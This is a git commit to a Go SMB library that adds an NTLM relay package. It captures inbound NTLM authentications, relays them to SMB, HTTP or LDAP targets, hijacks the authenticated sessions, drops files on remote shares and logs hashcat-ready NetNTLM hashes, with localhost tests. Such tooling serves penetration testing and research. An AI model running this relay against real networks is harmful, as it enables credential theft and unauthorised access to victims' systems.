relay: multi-target NTLM relay package

Add the relay/ package: listen for inbound SMB or HTTP NTLM
authentications, forward them to one or more upstream targets (SMB,
HTTP/S, LDAP/S), pool the resulting authenticated sessions, and
optionally expose the pool to local tools through a SOCKS5 proxy.
Provides RelayServer (long-running multi-target listener with a session
pool, post-auth actions and optional fake-server handoff) and
RelayClient (one-shot listener returning a single authenticated
*smb.Connection), replacing the retired in-package smb.NewRelayConnection.

Add the smb.Connection hooks the relay drives: MarkAuthenticated promotes
a manually-driven SessionSetup to authenticated state, and SendRawPDU
forwards an opaque SMB2 PDU on a pooled connection (re-stamping
MessageID and applying signing/encryption).
This commit is contained in:
Jimmy Fjällid
2026-05-31 20:41:37 +02:00
parent f456005f1c
commit cb9f559549
32 changed files with 8523 additions and 11 deletions
+29 -7
View File
@@ -36,11 +36,27 @@ A connection could also be established through an upstream SOCKS5 proxy, either
by passing credentials through the options struct, or by relying on the upstream
proxy to handle authentication such as Impacket's ntlmrelayx.py does.
A third way is to use the experimental NTLM relay support by listening for
incoming SMB connections, forwarding the NTLM authentication to the target
system and then hijacking the authenticated connection. This won't work if
SMB signing is required or if only SMB 3.x is supported as the current
implementation is locked to SMB 2.1.
A third way is to use the NTLM relay support in the `relay/` package: listen
for incoming SMB or HTTP NTLM authentications, forward them to one or more
upstream targets (SMB, HTTP/S, LDAP/S), pool the resulting authenticated
sessions, and optionally expose the pool to local tools through a SOCKS5
proxy.
Two entry points are provided:
- `relay.RelayServer` — long-running multi-target listener with a session
pool, post-auth actions, optional fake-server handoff, and an
interactive REPL when driven via the `cmd/ntlmrelay` binary. See
[`cmd/ntlmrelay/README.md`](cmd/ntlmrelay/README.md) for the user-facing
guide.
- `relay.RelayClient` — one-shot listener that accepts a single inbound
auth and returns the authenticated `*smb.Connection`. This replaces the
removed `smb.NewRelayConnection` helper.
The relay forces SMB 2.1 as the max dialect with signing and encryption
disabled, so Windows targets that require SMB signing (the default on
modern domain controllers) will refuse the relay. Treat the relay as a
lab-only tool.
For inspiration on how to use the various forms of establishing a connection and
how to use the different methods of authentication I recommended inspecting the
@@ -59,6 +75,7 @@ different connection types.
domain := "domain.local"
hashBytes := []byte{} // Either specify a password or the NT Hash bytes for authentication
relayConnection := false // if true, perform NTLM relaying
relayPort := 445 // local port the relay listener binds when relayConnection is true
options := smb.Options{
Host: targetHost,
@@ -86,8 +103,13 @@ different connection types.
}
if relayConnection {
options.RelayPort = relayPort
session, err = smb.NewRelayConnection(options)
// Listen on relayPort, relay the first inbound NTLM authentication
// to the target, and hand back the authenticated connection.
session, _, err = relay.RelayClient(relay.ClientConfig{
ListenAddr: fmt.Sprintf(":%d", relayPort),
Target: fmt.Sprintf("%s:%d", targetHost, targetPort),
UpstreamOptions: options,
})
} else {
session, err = smb.NewConnection(options)
}
+4 -4
View File
@@ -115,7 +115,7 @@ func NewPipeHandler(pipeName string, services ...Service) *PipeHandler {
// type and dispatches accordingly.
func (h *PipeHandler) Transceive(ctx context.Context, in []byte) ([]byte, uint32, error) {
if len(in) < dcerpc.PDUHeaderCommonSize {
return nil, smb.StatusInvalidParameter, fmt.Errorf("dcerpc PDU too short (%d bytes)", len(in))
return nil, smb.StatusInvalidParameter, fmt.Errorf("PDU too short (%d bytes)", len(in))
}
var hdr dcerpc.Header
if err := hdr.UnmarshalBinary(in[:dcerpc.PDUHeaderCommonSize]); err != nil {
@@ -125,19 +125,19 @@ func (h *PipeHandler) Transceive(ctx context.Context, in []byte) ([]byte, uint32
case dcerpc.PacketTypeBind, dcerpc.PacketTypeAlterContext:
out, err := h.handleBind(in, &hdr)
if err != nil {
log.Errorf("dcerpc handleBind (call_id=%d): %v", hdr.CallId, err)
log.Errorf("handleBind (call_id=%d): %v", hdr.CallId, err)
}
return out, smb.StatusOk, err
case dcerpc.PacketTypeRequest:
out, err := h.handleRequest(ctx, in, &hdr)
if err != nil {
log.Errorf("dcerpc handleRequest (call_id=%d): %v", hdr.CallId, err)
log.Errorf("handleRequest (call_id=%d): %v", hdr.CallId, err)
}
return out, smb.StatusOk, err
default:
out, err := h.buildFault(&hdr, 0, NCAStatusUnsupportedType)
if err != nil {
log.Errorf("dcerpc buildFault (call_id=%d type=0x%x): %v", hdr.CallId, hdr.Type, err)
log.Errorf("buildFault (call_id=%d type=0x%x): %v", hdr.CallId, hdr.Type, err)
}
return out, smb.StatusOk, err
}
+168
View File
@@ -0,0 +1,168 @@
// MIT License
//
// Copyright (c) 2026 Jimmy Fjällid
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
package relay
import (
"context"
"fmt"
"io"
"github.com/jfjallid/go-smb/dcerpc"
"github.com/jfjallid/go-smb/dcerpc/mssrvs"
"github.com/jfjallid/go-smb/dcerpc/smbtransport"
"github.com/jfjallid/go-smb/smb"
"github.com/jfjallid/go-smb/smb/server"
)
// PostAuthAction is run by RelayServer against each upstream connection
// immediately after a successful relay. Implementations should respect ctx for
// cancellation and tolerate partial failure (RelayServer logs errors but does
// not propagate them out).
type PostAuthAction interface {
Name() string
Run(ctx context.Context, conn *smb.Connection, cred *Credential, logger server.Logger) error
}
// EnumSharesAction calls NetShareEnumAll over the upstream's IPC$ named pipe
// and writes a one-line-per-share summary to Out (or the logger if Out is
// nil). Useful as a quick smoke test that the relayed session is usable.
type EnumSharesAction struct {
Out io.Writer
}
func (EnumSharesAction) Name() string { return "EnumShares" }
func (a EnumSharesAction) Run(ctx context.Context, conn *smb.Connection, cred *Credential, logger server.Logger) error {
const share = "IPC$"
if err := conn.TreeConnect(share); err != nil {
return fmt.Errorf("EnumShares: TreeConnect %s: %w", share, err)
}
defer conn.TreeDisconnect(share)
f, err := conn.OpenFile(share, mssrvs.MSRPCSrvSvcPipe)
if err != nil {
return fmt.Errorf("EnumShares: open srvsvc pipe: %w", err)
}
defer f.CloseFile()
tr, err := smbtransport.NewSMBTransport(f)
if err != nil {
return fmt.Errorf("EnumShares: NewSMBTransport: %w", err)
}
bind, err := dcerpc.Bind(tr, mssrvs.MSRPCUuidSrvSvc, mssrvs.MSRPCSrvSvcMajorVersion, mssrvs.MSRPCSrvSvcMinorVersion, dcerpc.MSRPCUuidNdr)
if err != nil {
return fmt.Errorf("EnumShares: bind srvsvc: %w", err)
}
rpc := mssrvs.NewRPCCon(bind)
host := ""
if cred != nil && cred.Workstation != "" {
host = cred.Workstation
}
shares, err := rpc.NetShareEnumAll(host)
if err != nil {
return fmt.Errorf("EnumShares: NetShareEnumAll: %w", err)
}
header := fmt.Sprintf("EnumShares result for %s (%d shares):", credLabel(cred), len(shares))
if a.Out != nil {
fmt.Fprintln(a.Out, header)
for _, s := range shares {
fmt.Fprintf(a.Out, " %-20s %-10s %s\n", s.Name, s.Type, s.Comment)
}
} else if logger != nil {
logger.Noticef("%s", header)
for _, s := range shares {
logger.Noticef(" %-20s %-10s %s", s.Name, s.Type, s.Comment)
}
}
return nil
}
// DropFileAction writes Content to RemotePath on the named Share. Existing
// files are overwritten.
type DropFileAction struct {
Share string
RemotePath string // backslash-separated, no leading slash (e.g. "Users\\Public\\readme.txt")
Content []byte
}
func (a DropFileAction) Name() string { return "DropFile:" + a.Share + "\\" + a.RemotePath }
func (a DropFileAction) Run(ctx context.Context, conn *smb.Connection, cred *Credential, logger server.Logger) error {
if a.Share == "" || a.RemotePath == "" {
return fmt.Errorf("DropFile: Share and RemotePath are required")
}
if err := conn.TreeConnect(a.Share); err != nil {
return fmt.Errorf("DropFile: TreeConnect %s: %w", a.Share, err)
}
defer conn.TreeDisconnect(a.Share)
off := 0
if err := conn.PutFile(a.Share, a.RemotePath, 0, func(buf []byte) (int, error) {
if off >= len(a.Content) {
return 0, io.EOF
}
n := copy(buf, a.Content[off:])
off += n
return n, nil
}); err != nil {
return fmt.Errorf("DropFile: PutFile %s\\%s: %w", a.Share, a.RemotePath, err)
}
if logger != nil {
logger.Noticef("DropFile: wrote %d bytes to %s\\%s as %s",
len(a.Content), a.Share, a.RemotePath, credLabel(cred))
}
return nil
}
// FuncAction adapts a free function to the PostAuthAction interface. Useful
// for ad-hoc actions in tests or callers that don't want to declare a type.
type FuncAction struct {
NameStr string
Fn func(ctx context.Context, conn *smb.Connection, cred *Credential, logger server.Logger) error
}
func (f FuncAction) Name() string {
if f.NameStr == "" {
return "Func"
}
return f.NameStr
}
func (f FuncAction) Run(ctx context.Context, conn *smb.Connection, cred *Credential, logger server.Logger) error {
if f.Fn == nil {
return nil
}
return f.Fn(ctx, conn, cred, logger)
}
func credLabel(cred *Credential) string {
if cred == nil {
return "unknown"
}
if cred.Domain == "" {
return cred.Username
}
return cred.Domain + "\\" + cred.Username
}
+133
View File
@@ -0,0 +1,133 @@
// MIT License
//
// Copyright (c) 2026 Jimmy Fjällid
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
package relay
import (
"time"
)
// CapturedAuth is a finalized record of one inbound NTLM authentication.
// It is what tooling integrators want to consume: timestamps, captured
// hash material, what we did with it, and the upstream we tried.
type CapturedAuth struct {
Time time.Time // capture timestamp
Format string // "NetNTLMv1" / "NetNTLMv2"
Domain string
Username string
Workstation string
RemoteAddr string // victim's address
Target string // upstream we relayed to (canonical "host:port" or full URL)
Status string // "captured" while in-flight; finalized to "relayed", "upstream_rejected", or "relay_failed"
Hashcat string // hashcat-format hash line, ready for -m 5500/5600
}
// CaptureStatus values surfaced on CapturedAuth.Status.
const (
CaptureStatusInFlight = "captured"
CaptureStatusRelayed = "relayed"
CaptureStatusUpstreamRejected = "upstream_rejected"
CaptureStatusRelayFailed = "relay_failed"
)
// defaultCaptureBufferSize is the default ring-buffer capacity for
// RelayServer.captured when ServerConfig.CaptureBufferSize is unset.
const defaultCaptureBufferSize = 1024
// captureSlot is a handle returned from RelayServer.captureRecord. The
// caller mutates Status via finalize() when the relay outcome is known.
// Buffer eviction may detach the entry from the buffer; finalize still
// fires OnCapture in that case so file writers see every record.
type captureSlot struct {
rs *RelayServer
rec *CapturedAuth
}
// captureRecord appends a new in-flight CapturedAuth to the ring buffer
// and returns a slot for later finalization. If the buffer is at capacity
// the oldest entry is dropped. cred must be non-nil; pre-cred failures
// should not call this. target may be empty if the relay never picked
// one (shouldn't happen on the post-cred path).
func (rs *RelayServer) captureRecord(cred *Credential, target string) *captureSlot {
if cred == nil {
return nil
}
rec := &CapturedAuth{
Time: time.Now(),
Format: cred.Format,
Domain: cred.Domain,
Username: cred.Username,
Workstation: cred.Workstation,
Target: target,
Status: CaptureStatusInFlight,
Hashcat: cred.Hashcat,
}
if cred.RemoteAddr != nil {
rec.RemoteAddr = cred.RemoteAddr.String()
}
rs.captureMu.Lock()
cap := rs.captureCap
if cap >= 0 {
rs.captured = append(rs.captured, rec)
if cap > 0 && len(rs.captured) > cap {
// FIFO evict the oldest; the entry continues to live via slot
// references but won't be reported by CapturedCredentials().
rs.captured = rs.captured[len(rs.captured)-cap:]
}
}
rs.captureMu.Unlock()
return &captureSlot{rs: rs, rec: rec}
}
// finalize stamps the slot's Status and fires the OnCapture hook (if any).
// Safe to call on a nil slot — pre-cred failure paths use this to keep call
// sites uniform.
func (s *captureSlot) finalize(status string) {
if s == nil || s.rec == nil {
return
}
s.rs.captureMu.Lock()
s.rec.Status = status
final := *s.rec // copy under lock for the hook
s.rs.captureMu.Unlock()
if cb := s.rs.Config.OnCapture; cb != nil {
cb(final)
}
}
// CapturedCredentials returns a snapshot of every captured authentication
// still in the ring buffer, oldest first. Entries with Status =
// CaptureStatusInFlight are auths whose upstream outcome isn't decided yet.
func (rs *RelayServer) CapturedCredentials() []CapturedAuth {
rs.captureMu.Lock()
defer rs.captureMu.Unlock()
out := make([]CapturedAuth, len(rs.captured))
for i, r := range rs.captured {
out[i] = *r
}
return out
}
// captureMu / captured / captureCap live on RelayServer (defined in
// server.go alongside the rest of the runtime state). They're declared
// there so the struct layout stays in one place; this file just owns the
// behavior.
+295
View File
@@ -0,0 +1,295 @@
// MIT License
//
// Copyright (c) 2026 Jimmy Fjällid
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
package relay
import (
"context"
"fmt"
"net"
"strings"
"sync"
"time"
"github.com/jfjallid/go-smb/smb"
"github.com/jfjallid/go-smb/smb/server"
)
// ClientConfig configures a one-shot RelayClient.
type ClientConfig struct {
// ListenAddr is the local TCP address the relay listens on. Defaults to
// ":445" if empty. The listener is closed after a single successful
// relay (or on timeout / error).
ListenAddr string
// Target is the upstream server. Accepts either bare "host:port" (assumed
// SMB) or scheme-prefixed "smb://host[:port]". One-shot client only
// supports SMB upstream — for cross-protocol relay use RelayServer.
Target string
// UpstreamOptions configures the upstream *smb.Connection. Sensible
// relay defaults (ManualLogin=true, ForceSMB2=true,
// DisableSigning=true, DisableEncryption=true) are forced on regardless
// of caller settings.
UpstreamOptions smb.Options
// ListenerConfig configures the inbound smb/server listener. If
// Authenticator / OnSessionSetup are set the relay will overwrite them.
// SigningRequired is forced to false. MaxDialect defaults to
// smb.DialectSmb_2_1 if zero.
ListenerConfig server.ServerConfig
// OnCredentialCaptured fires once after the relay has captured the
// inbound AUTHENTICATE message and forwarded it upstream, regardless of
// whether the upstream accepted it.
OnCredentialCaptured func(c *server.Conn, cred *Credential)
// OnUpstreamReady fires immediately before RelayClient returns, with
// the same *smb.Connection.
OnUpstreamReady func(*smb.Connection)
// Logger is the listener's logger.
Logger server.Logger
// Timeout aborts the listener if no successful relay completes before
// it elapses. Defaults to 120s.
Timeout time.Duration
// StripMechListMIC drops the inbound MechListMIC instead of passing it
// through. Pass-through is the default.
StripMechListMIC bool
}
// RelayClient runs a one-shot relay listener: it accepts a single inbound
// SMB2 SessionSetup, forwards both NTLMSSP legs to cfg.Target, and returns
// the resulting authenticated *smb.Connection along with the captured
// credential. The listener is closed before the function returns.
//
// The relayed (inbound) client always receives STATUS_LOGON_FAILURE — it is
// not the consumer of the relay; the caller of RelayClient is.
func RelayClient(cfg ClientConfig) (*smb.Connection, *Credential, error) {
logger := cfg.Logger
if logger == nil {
logger = log
}
if cfg.Target == "" {
return nil, nil, fmt.Errorf("ClientConfig.Target is required")
}
if cfg.ListenAddr == "" {
cfg.ListenAddr = ":445"
}
rawTarget := cfg.Target
if !strings.Contains(rawTarget, "://") {
if !strings.ContainsRune(rawTarget, ':') {
log.Infoln("relay target did not specify a port so falling back to 445")
rawTarget += ":445"
}
rawTarget = "smb://" + rawTarget
}
target, err := ParseTarget(rawTarget)
if err != nil {
return nil, nil, err
}
if target.Protocol != ProtoSMB {
return nil, nil, fmt.Errorf("RelayClient only supports smb:// targets, got %s", target.Protocol)
}
if cfg.Timeout == 0 {
cfg.Timeout = 120 * time.Second
}
if cfg.ListenerConfig.MaxDialect == 0 {
cfg.ListenerConfig.MaxDialect = smb.DialectSmb_2_1
}
cfg.ListenerConfig.SigningRequired = false
type result struct {
up *smb.Connection
cred *Credential
err error
}
done := make(chan result, 1)
deliver := func(r result) {
select {
case done <- r:
default:
}
}
var (
mu sync.Mutex
fwdsBy = map[*server.Conn]*smbForwarder{}
)
cfg.ListenerConfig.OnSessionSetup = func(c *server.Conn, s *server.Session, blob []byte, stage server.SessionSetupStage) (*server.Status, error) {
mu.Lock()
f := fwdsBy[c]
mu.Unlock()
switch stage {
case server.SessionSetupStageNegotiate:
if f != nil {
f.Close()
}
init, err := unwrapNegInit(blob)
if err != nil {
deliver(result{err: err})
return nil, err
}
nf, err := newSMBForwarder(target, cfg.UpstreamOptions, logger)
if err != nil {
deliver(result{err: err})
return nil, err
}
chal, err := nf.Negotiate(init.Data.MechToken)
if err != nil {
nf.Close()
deliver(result{err: err})
return nil, err
}
out, err := wrapNegRespAcceptIncomplete(chal)
if err != nil {
nf.Close()
deliver(result{err: err})
return nil, err
}
mu.Lock()
fwdsBy[c] = nf
mu.Unlock()
return &server.Status{
Code: smb.StatusMoreProcessingRequired,
SecurityBlob: out,
}, nil
case server.SessionSetupStageAuthenticate:
if f == nil {
return nil, fmt.Errorf("SessionSetup2 with no prior SessionSetup1 on this conn")
}
resp, err := unwrapNegResp(blob)
if err != nil {
f.Close()
mu.Lock()
delete(fwdsBy, c)
mu.Unlock()
deliver(result{err: err})
return &server.Status{Code: smb.StatusLogonFailure}, nil
}
mic := resp.MechListMIC
if cfg.StripMechListMIC {
mic = nil
}
cred, upstreamStatus, err := f.Authenticate(c.RemoteAddr, resp.ResponseToken, mic)
if err != nil {
f.Close()
mu.Lock()
delete(fwdsBy, c)
mu.Unlock()
c.RemoveSession(s.ID)
deliver(result{err: err})
return &server.Status{Code: smb.StatusLogonFailure}, nil
}
if cb := cfg.OnCredentialCaptured; cb != nil {
cb(c, cred)
}
if upstreamStatus != smb.StatusOk {
f.Close()
mu.Lock()
delete(fwdsBy, c)
mu.Unlock()
c.RemoveSession(s.ID)
deliver(result{cred: cred, err: fmt.Errorf("upstream rejected auth (status=0x%08x)", upstreamStatus)})
return &server.Status{Code: smb.StatusLogonFailure}, nil
}
up := f.Take()
mu.Lock()
delete(fwdsBy, c)
mu.Unlock()
authUser := fmtAuthUser(cred)
up.MarkAuthenticated(authUser)
deliver(result{up: up, cred: cred})
c.RemoveSession(s.ID)
return &server.Status{Code: smb.StatusLogonFailure}, nil
}
return nil, nil
}
l, err := net.Listen("tcp", cfg.ListenAddr)
if err != nil {
return nil, nil, fmt.Errorf("listen %s: %w", cfg.ListenAddr, err)
}
srv := &server.Server{Config: &cfg.ListenerConfig}
serveDone := make(chan error, 1)
go func() { serveDone <- srv.Serve(l) }()
logger.Noticef("listening on %s, target=%s, timeout=%s", l.Addr(), target.String(), cfg.Timeout)
var (
out *smb.Connection
cr *Credential
rerr error
)
select {
case r := <-done:
out = r.up
cr = r.cred
rerr = r.err
case <-time.After(cfg.Timeout):
rerr = fmt.Errorf("timeout after %s with no successful relay", cfg.Timeout)
}
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
if sherr := srv.Shutdown(ctx); sherr != nil {
log.Debugf("listener shutdown: %v", sherr)
}
cancel()
<-serveDone
mu.Lock()
for c, f := range fwdsBy {
f.Close()
delete(fwdsBy, c)
}
mu.Unlock()
if rerr != nil {
if out != nil {
out.Close()
}
return nil, cr, rerr
}
if out == nil {
return nil, cr, fmt.Errorf("listener closed without a successful relay")
}
if cb := cfg.OnUpstreamReady; cb != nil {
cb(out)
}
return out, cr, nil
}
// fmtAuthUser produces the same "DOMAIN\user" string the legacy relay used.
func fmtAuthUser(cred *Credential) string {
if cred == nil {
return ""
}
if cred.Domain == "" {
return cred.Username
}
return cred.Domain + "\\" + cred.Username
}
+168
View File
@@ -0,0 +1,168 @@
// MIT License
//
// Copyright (c) 2026 Jimmy Fjällid
package relay_test
import (
"context"
"net"
"sync/atomic"
"testing"
"time"
"github.com/jfjallid/go-smb/ntlmssp"
"github.com/jfjallid/go-smb/relay"
"github.com/jfjallid/go-smb/smb"
"github.com/jfjallid/go-smb/smb/server"
"github.com/jfjallid/go-smb/smb/server/memvfs"
"github.com/jfjallid/go-smb/spnego"
)
// TestRelayClientEndToEnd boots an upstream server with a known account and
// a registered share, runs RelayClient pointed at it, drives a client through
// the relay listener with the matching credentials, and verifies that the
// returned *smb.Connection can TreeConnect against the upstream's share.
func TestRelayClientEndToEnd(t *testing.T) {
const (
user = "alice"
password = "Hunter2!"
domain = "WORKGROUP"
share = "test"
)
ntHash := ntlmssp.Ntowfv1(password)
// Upstream: real auth + real share.
up := &server.Server{
Config: &server.ServerConfig{
Authenticator: &server.MapAuthenticator{
Domain: domain,
Accounts: map[string]*server.Account{user: {NTHash: ntHash}},
},
},
}
up.RegisterShare(share, server.Share{Type: smb.ShareTypeDisk, VFS: memvfs.New(memvfs.Options{})})
upAddr, upShutdown := startUpstream(t, up)
defer upShutdown()
// Pick a free port for the relay listener.
relayLn, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
t.Fatalf("listen relay: %v", err)
}
relayAddr := relayLn.Addr().(*net.TCPAddr)
_ = relayLn.Close()
// RelayClient runs in a goroutine; the test client drives the inbound side.
type relayResult struct {
conn *smb.Connection
cred *relay.Credential
err error
}
relayCh := make(chan relayResult, 1)
var hookFired atomic.Bool
go func() {
c, cred, err := relay.RelayClient(relay.ClientConfig{
ListenAddr: relayAddr.String(),
Target: upAddr.String(),
OnCredentialCaptured: func(_ *server.Conn, _ *relay.Credential) {
hookFired.Store(true)
},
Timeout: 10 * time.Second,
})
relayCh <- relayResult{c, cred, err}
}()
// Give the listener a moment to bind. The relay binds synchronously
// inside RelayClient before its first auth-handler call; a tiny sleep
// here keeps the test from racing the goroutine.
if err := waitForListen(relayAddr.String(), 2*time.Second); err != nil {
t.Fatalf("relay listener never came up: %v", err)
}
// Drive an inbound client through the relay. Force SMB 2.1 to match the
// relay listener's default cap.
clientOpts := smb.Options{
Host: relayAddr.IP.String(),
Port: relayAddr.Port,
User: user,
Password: password,
Domain: domain,
Initiator: &spnego.NTLMInitiator{User: user, Password: password, Domain: domain},
DisableSigning: true,
DisableEncryption: true,
ForceSMB2: true,
DialTimeout: 2 * time.Second,
}
// We expect this to fail (capture-and-drop returns LogonFailure to the
// relayed client) — but the upstream auth must have succeeded.
_, _ = smb.NewConnection(clientOpts)
var rr relayResult
select {
case rr = <-relayCh:
case <-time.After(10 * time.Second):
t.Fatalf("RelayClient did not return within 10s")
}
if rr.err != nil {
t.Fatalf("RelayClient: %v", rr.err)
}
if rr.conn == nil {
t.Fatalf("RelayClient returned nil connection")
}
defer rr.conn.Close()
if rr.cred == nil {
t.Fatalf("RelayClient returned nil Credential")
}
if rr.cred.Username != user {
t.Errorf("Credential.Username: got %q want %q", rr.cred.Username, user)
}
if !hookFired.Load() {
t.Errorf("OnCredentialCaptured did not fire")
}
// The returned connection should be authenticated against the upstream.
if err := rr.conn.TreeConnect(share); err != nil {
t.Fatalf("TreeConnect on relayed connection: %v", err)
}
defer rr.conn.TreeDisconnect(share)
}
// startUpstream is local to this test package so we don't depend on the
// (unexported) helper in smb/server. Runs srv on an ephemeral port; returns
// addr + shutdown.
func startUpstream(t *testing.T, srv *server.Server) (*net.TCPAddr, func()) {
t.Helper()
l, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
t.Fatalf("listen upstream: %v", err)
}
serveErr := make(chan error, 1)
go func() { serveErr <- srv.Serve(l) }()
return l.Addr().(*net.TCPAddr), func() {
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
_ = srv.Shutdown(ctx)
if e := <-serveErr; e != nil && e != server.ErrServerClosed {
t.Errorf("upstream Serve: %v", e)
}
}
}
// waitForListen polls addr until a Dial succeeds or timeout elapses.
func waitForListen(addr string, timeout time.Duration) error {
deadline := time.Now().Add(timeout)
for {
c, err := net.DialTimeout("tcp", addr, 200*time.Millisecond)
if err == nil {
c.Close()
return nil
}
if time.Now().After(deadline) {
return err
}
time.Sleep(20 * time.Millisecond)
}
}
+44
View File
@@ -0,0 +1,44 @@
// MIT License
//
// Copyright (c) 2026 Jimmy Fjällid
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
package relay
import (
"net"
"github.com/jfjallid/go-smb/ntlmssp"
"github.com/jfjallid/go-smb/smb/server"
)
// Credential is a captured NTLM authentication attempt. It is a re-export of
// server.Credential so callers of relay/ don't need to import smb/server
// directly.
type Credential = server.Credential
// BuildCredential assembles a Credential from a parsed NTLMSSP Authenticate
// message and the server-side challenge that was actually used during the
// upstream exchange. The remote address is plumbed onto the Credential for
// attribution. Cross-protocol relay uses this directly; both forwarder
// backends share the same code path.
func BuildCredential(remote net.Addr, auth *ntlmssp.Authenticate, chal [8]byte) *Credential {
return buildCredentialFromAuth(auth, chal, remote)
}
+185
View File
@@ -0,0 +1,185 @@
// MIT License
//
// Copyright (c) 2026 Jimmy Fjällid
package relay_test
import (
"context"
"net"
"sync"
"testing"
"time"
"github.com/jfjallid/go-smb/ntlmssp"
"github.com/jfjallid/go-smb/relay"
"github.com/jfjallid/go-smb/smb"
"github.com/jfjallid/go-smb/smb/server"
"github.com/jfjallid/go-smb/smb/server/memvfs"
"github.com/jfjallid/go-smb/spnego"
)
// TestCrossProtocolHTTPInboundToSMBUpstream verifies that an HTTP-inbound NTLM
// authentication can be relayed onto an SMB upstream. The relay's HTTP
// listener is the inbound side, an SMB server is the upstream, and the unified
// Targets list contains a single smb:// entry — the HTTP listener must
// successfully dispatch onto a forwarder that speaks SMB.
func TestCrossProtocolHTTPInboundToSMBUpstream(t *testing.T) {
const (
user = "alice"
password = "Hunter2!"
domain = "WORKGROUP"
share = "test"
)
ntHash := ntlmssp.Ntowfv1(password)
up := &server.Server{
Config: &server.ServerConfig{
Authenticator: &server.MapAuthenticator{
Domain: domain,
Accounts: map[string]*server.Account{user: {NTHash: ntHash}},
},
},
}
up.RegisterShare(share, server.Share{Type: smb.ShareTypeDisk, VFS: memvfs.New(memvfs.Options{})})
upL, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
t.Fatalf("listen upstream: %v", err)
}
upCh := make(chan error, 1)
go func() { upCh <- up.Serve(upL) }()
defer func() {
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
_ = up.Shutdown(ctx)
<-upCh
}()
upAddr := upL.Addr().(*net.TCPAddr)
var (
credsMu sync.Mutex
creds []*relay.Credential
)
rs := &relay.RelayServer{
Config: relay.ServerConfig{
HTTPListenAddr: "127.0.0.1:0",
Targets: []string{"smb://" + upAddr.String()},
OnCredentialCaptured: func(_ *server.Conn, c *relay.Credential) {
credsMu.Lock()
creds = append(creds, c)
credsMu.Unlock()
},
},
}
if err := rs.Start(); err != nil {
t.Fatalf("RelayServer.Start: %v", err)
}
defer func() {
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
_ = rs.Shutdown(ctx)
}()
// Drive an inbound NTLM-over-HTTP exchange. The victim's NTLM client
// produces a NEGOTIATE/AUTHENTICATE pair valid against the SMB upstream
// (NTLM is portable between transports).
relayAddr := rs.HTTPAddr().(*net.TCPAddr).String()
